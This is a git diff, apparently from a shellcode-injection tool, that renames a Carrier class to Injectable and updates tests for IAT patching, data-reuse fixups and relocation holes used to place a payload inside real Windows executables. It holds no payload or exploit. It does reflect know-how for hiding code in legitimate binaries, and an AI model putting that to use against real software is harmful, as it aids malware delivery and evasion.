req1 = carrier.iat_requests[0]
|
||||
req1 = injectable.iat_requests[0]
|
||||
self.assertEqual(req1.name, "GetEnvironmentVariableW")
|
||||
self.assertTrue(len(req1.placeholder), 6) # 6 random bytes
|
||||
self.assertTrue(len(req1.references[0]), 6) # 6 random bytes
|
||||
|
||||
req2 = carrier.iat_requests[1]
|
||||
req2 = injectable.iat_requests[1]
|
||||
self.assertEqual(req2.name, "VirtualAlloc")
|
||||
self.assertTrue(len(req2.placeholder), 6) # 6 random bytes
|
||||
self.assertTrue(len(req2.references[0]), 6) # 6 random bytes
|
||||
|
||||
# added ; at the beginning
|
||||
#self.assertTrue(lines[13-1].startswith("; EXTRN __imp_GetEnvironmentVariableW:PROC"))
|
||||
@@ -83,22 +79,22 @@ class AsmTest(unittest.TestCase):
|
||||
def test_data_reuse_entries(self):
|
||||
asm_in = "tests/data/data_reuse_pre_fixup.asm"
|
||||
asm_text = file_readall_text(asm_in)
|
||||
carrier = Carrier("fake.exe")
|
||||
carrier.add_datareuse_fixup(DataReuseEntry("supermega_payload"))
|
||||
injectable = Injectable("fake.exe")
|
||||
injectable.add_datareuse_fixup(DataReuseEntry("supermega_payload"))
|
||||
settings: Settings = Settings()
|
||||
settings.payload_location = PayloadLocation.DATA
|
||||
asm_text_lines = parse_asm_text_file(carrier, asm_text, settings)
|
||||
asm_text_lines = parse_asm_text_file(injectable, asm_text, settings)
|
||||
asm_text = masm_shc(asm_text_lines) # optional here
|
||||
|
||||
data_reuse_entries = carrier.get_all_reusedata_fixups()
|
||||
data_reuse_entries = injectable.get_all_reusedata_fixups()
|
||||
self.assertEqual(2+1, len(data_reuse_entries))
|
||||
|
||||
entry = data_reuse_entries[0+1]
|
||||
self.assertTrue('$SG72513' in entry.string_ref)
|
||||
self.assertTrue('rcx' in entry.register)
|
||||
self.assertTrue('rcx' in entry.references[0].register)
|
||||
self.assertEqual(entry.data, b"U\x00S\x00E\x00R\x00P\x00R\x00O\x00F\x00I\x00L\x00E\x00\x00\x00")
|
||||
self.assertEqual(entry.addr, 0)
|
||||
self.assertEqual(7, len(entry.randbytes)) # needs to be 7!
|
||||
self.assertEqual(7, len(entry.references[0].placeholder)) # needs to be 7!
|
||||
|
||||
entry = data_reuse_entries[1+1]
|
||||
self.assertTrue('$SG72514' in entry.string_ref)
|
||||
@@ -108,11 +104,11 @@ class AsmTest(unittest.TestCase):
|
||||
asm_in = "tests/data/data_reuse_pre_fixup.asm"
|
||||
asm_text = file_readall_text(asm_in)
|
||||
|
||||
carrier = Carrier("fake.exe")
|
||||
carrier.add_datareuse_fixup(DataReuseEntry("supermega_payload"))
|
||||
injectable = Injectable("fake.exe")
|
||||
injectable.add_datareuse_fixup(DataReuseEntry("supermega_payload"))
|
||||
settings: Settings = Settings()
|
||||
settings.payload_location = PayloadLocation.DATA
|
||||
asm_text_lines = parse_asm_text_file(carrier, asm_text, settings)
|
||||
asm_text_lines = parse_asm_text_file(injectable, asm_text, settings)
|
||||
|
||||
# why -1 -1??
|
||||
self.assertTrue("\tDB " in asm_text_lines[108-1-1])
|
||||
|
||||
@@ -38,7 +38,7 @@ class DataReuseTest(unittest.TestCase):
|
||||
def test_relocation_list(self):
|
||||
superpe = SuperPe(PATH_EXES + "7z.exe")
|
||||
relocs = superpe.get_relocations_for_section(".rdata")
|
||||
self.assertEqual(842, len(relocs))
|
||||
self.assertEqual(836, len(relocs))
|
||||
reloc = relocs[0]
|
||||
self.assertEqual(393216, reloc.base_rva)
|
||||
self.assertEqual(394296, reloc.rva)
|
||||
@@ -49,19 +49,19 @@ class DataReuseTest(unittest.TestCase):
|
||||
def test_relocmanager(self):
|
||||
"""Test reference EXE reloc manager information"""
|
||||
superpe = SuperPe(PATH_EXES + "procexp64.exe")
|
||||
rm = superpe.get_rdata_relocmanager()
|
||||
self.assertEqual(69, len(rm.intervals))
|
||||
rm = superpe.get_rdata_rangemanager()
|
||||
self.assertEqual(61, len(rm.intervals))
|
||||
# 0x1ab0 is magic currently (should use find_first_utf16_string_offset()
|
||||
hole = rm.find_hole(20)
|
||||
self.assertEqual(hole, (1167361, 1173015))
|
||||
self.assertEqual(hole, (1174185, 1174591))
|
||||
|
||||
|
||||
def test_largestgap(self):
|
||||
superpe = SuperPe(PATH_EXES + "7z.exe")
|
||||
rm = superpe.get_rdata_relocmanager()
|
||||
rm = superpe.get_rdata_rangemanager()
|
||||
start, stop = rm.find_hole(100)
|
||||
self.assertEqual(393233, start)
|
||||
self.assertEqual(394295, stop)
|
||||
self.assertEqual(394513, start)
|
||||
self.assertEqual(396511, stop)
|
||||
|
||||
|
||||
def test_rdata_overwrite(self):
|
||||
|
||||
@@ -36,7 +36,7 @@ class SuperPeTest(unittest.TestCase):
|
||||
|
||||
# Relocations
|
||||
base_relocs: List[PeRelocEntry] = superpe.get_base_relocs()
|
||||
self.assertEqual(len(base_relocs), 2888)
|
||||
self.assertEqual(len(base_relocs), 2864)
|
||||
base_reloc = base_relocs[0]
|
||||
self.assertEqual(base_reloc.rva, 0x11E618)
|
||||
self.assertEqual(base_reloc.base_rva, 0x11E000)
|
||||
|
||||
@@ -3,6 +3,7 @@ import os
|
||||
import pathlib
|
||||
import glob
|
||||
import logging
|
||||
import shutil
|
||||
|
||||
from config import config
|
||||
from model.defs import *
|
||||
@@ -10,6 +11,20 @@ from model.defs import *
|
||||
logger = logging.getLogger("Utils")
|
||||
|
||||
|
||||
def check_deps():
|
||||
cl = config.get("path_cl")
|
||||
if shutil.which(cl) == None:
|
||||
logger.error("Missing dependency: " + cl)
|
||||
logger.error("Start in x64 Native Tools Command Prompt for VS 2022")
|
||||
exit(1)
|
||||
|
||||
ml = config.get("path_ml64")
|
||||
if shutil.which(ml) == None:
|
||||
logger.error("Missing dependency: " + ml)
|
||||
logger.error("Start in x64 Native Tools Command Prompt for VS 2022")
|
||||
exit(1)
|
||||
|
||||
|
||||
def delete_all_files_in_directory(directory_path):
|
||||
files = glob.glob(os.path.join(directory_path, '*'))
|
||||
for file_path in files:
|
||||
|
||||
@@ -9,10 +9,14 @@ from app.views import views
|
||||
from app.views_project import views_project
|
||||
from app.views_shcdev import views_shcdev
|
||||
from log import setup_logging
|
||||
from utils import check_deps
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
logging.getLogger('werkzeug').setLevel(logging.ERROR)
|
||||
setup_logging()
|
||||
check_deps()
|
||||
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument('--listenip', type=str, help='IP to listen on', default="0.0.0.0")
|
||||
parser.add_argument('--listenport', type=int, help='Port to listen on', default=5001)
|
||||
|
||||
Reference in New Issue
Block a user